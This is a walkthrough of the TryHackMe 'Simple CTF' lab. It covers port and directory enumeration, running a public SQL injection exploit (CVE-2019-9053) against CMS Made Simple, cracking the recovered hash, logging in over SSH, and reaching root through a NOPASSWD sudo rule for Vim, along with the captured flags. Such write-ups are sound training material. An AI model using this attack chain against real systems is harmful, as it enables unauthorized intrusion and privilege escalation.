
Professional TryHackMe Simple CTF walkthrough covering enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), credential recovery, SSH access, privilege escalation via Vim, and root compromise.
Professional TryHackMe Simple CTF walkthrough covering enumeration, CMS Made Simple SQL Injection (CVE-2019-9053), credential recovery, SSH access, privilege escalation via Vim, and root compromise.
A complete walkthrough of the Simple CTF room on TryHackMe, covering reconnaissance, enumeration, exploitation, credential recovery, privilege escalation, and flag capture.
| Field | Value |
|---|---|
| Platform | TryHackMe |
| Room Name | Simple CTF |
| Difficulty | Easy |
| Category | Web Exploitation & Linux Privilege Escalation |
| Author | Saahil Gupta (ImperialX1104) |
The goal of this room is to:
Host Discovery
│
▼
Port Enumeration
│
▼
Directory Enumeration
│
▼
CMS Discovery
│
▼
Version Identification
│
▼
SQL Injection (CVE-2019-9053)
│
▼
Credential Extraction
│
▼
Password Cracking
│
▼
SSH Access
│
▼
User Flag
│
▼
Privilege Escalation
│
▼
Root Flag
The first step was verifying connectivity with the target machine.
ping 10.49.175.174
The host responded successfully, confirming that it was reachable.

A comprehensive Nmap scan was performed to identify exposed services.
nmap -A -v 10.49.175.174
| Port | Service | Version |
|---|---|---|
| 21 | FTP | vsftpd 3.0.3 |
| 80 | HTTP | Apache 2.4.18 |
| 2222 | SSH | OpenSSH 7.2p2 |

Navigating to the target web server displayed the default Apache landing page.
http://10.49.175.174

At this stage no obvious attack surface was visible.
To identify hidden resources, directory brute forcing was performed using FFUF.
ffuf -u http://10.49.175.174/FUZZ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt \
-fc 200
simple [Status: 301]

A directory named /simple was discovered.
Browsing to the discovered directory revealed a CMS installation.
http://10.49.175.174/simple

CMS Made Simple 2.2.8
The version number would later prove critical.
The CMS version was researched using SearchSploit.
searchsploit "CMS Made Simple"
CMS Made Simple < 2.2.10 - SQL Injection

A known SQL Injection vulnerability was identified.
The exploit was copied locally for analysis and execution.
searchsploit -m 46635
CMS Made Simple < 2.2.10 - SQL Injection
CVE-2019-9053

The publicly available exploit was executed against the target CMS instance.
python3 exploit.py \
-u http://10.49.175.174/simple/ \
--crack \
-w /usr/share/wordlists/rockyou.txt
The exploit successfully extracted information from the backend database.
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: [email protected]

| Item | Value |
|---|---|
| Username | mitch |
| [email protected] | |
| Salt | 1dac0d92e9fa6bb2 |
The extracted hash was cracked using Hashcat.
hashcat -m 20 hash.txt --show
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
| Field | Value |
|---|---|
| Username | mitch |
| Password | secret |

The recovered credentials were tested against the SSH service.
ssh [email protected] -p 2222
secret
Welcome to Ubuntu 16.04.6 LTS

Successful authentication provided shell access as user mitch.
After gaining access, the user flag was located in Mitch's home directory.
whoami
cd ~
cat user.txt
G00d j0b, keep up!

Checking sudo permissions revealed an interesting configuration.
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim

This configuration allows the user to execute Vim with root privileges without supplying a password.
Launching Vim as root:
sudo vim
Because Vim was running with elevated privileges, it could be used to access files owned by root.

The root flag was located in the root user's directory.
:! cat /root/root.txt
W3ll d0n3. You made it!

G00d j0b, keep up!
W3ll d0n3. You made it!
Nmap Scan
↓
Web Enumeration
↓
Directory Discovery (/simple)
↓
CMS Made Simple 2.2.8
↓
SearchSploit Research
↓
CVE-2019-9053 SQL Injection
↓
Credential Extraction
↓
Hash Cracking
↓
SSH Login (mitch:secret)
↓
User Flag
↓
sudo -l
↓
Vim Privilege Escalation
↓
Root Flag
The vulnerable CMS was not visible on the homepage and required directory enumeration to discover.
Knowing the exact CMS version led directly to a known vulnerability.
Recovered credentials should always be tested against all available services.
Allowing privileged execution of editors such as Vim can lead to full system compromise.
This room demonstrated a complete attack chain from initial enumeration to full root compromise. By combining web application enumeration, SQL injection exploitation, password cracking, and Linux privilege escalation techniques, full control of the target system was achieved.
The room serves as an excellent introduction to real-world penetration testing methodology and highlights the importance of proper software patching, credential security, and least-privilege access controls.
Saahil Gupta (ImperialX1104)
⭐ If you found this writeup useful, consider starring the repository and connecting with me on GitHub.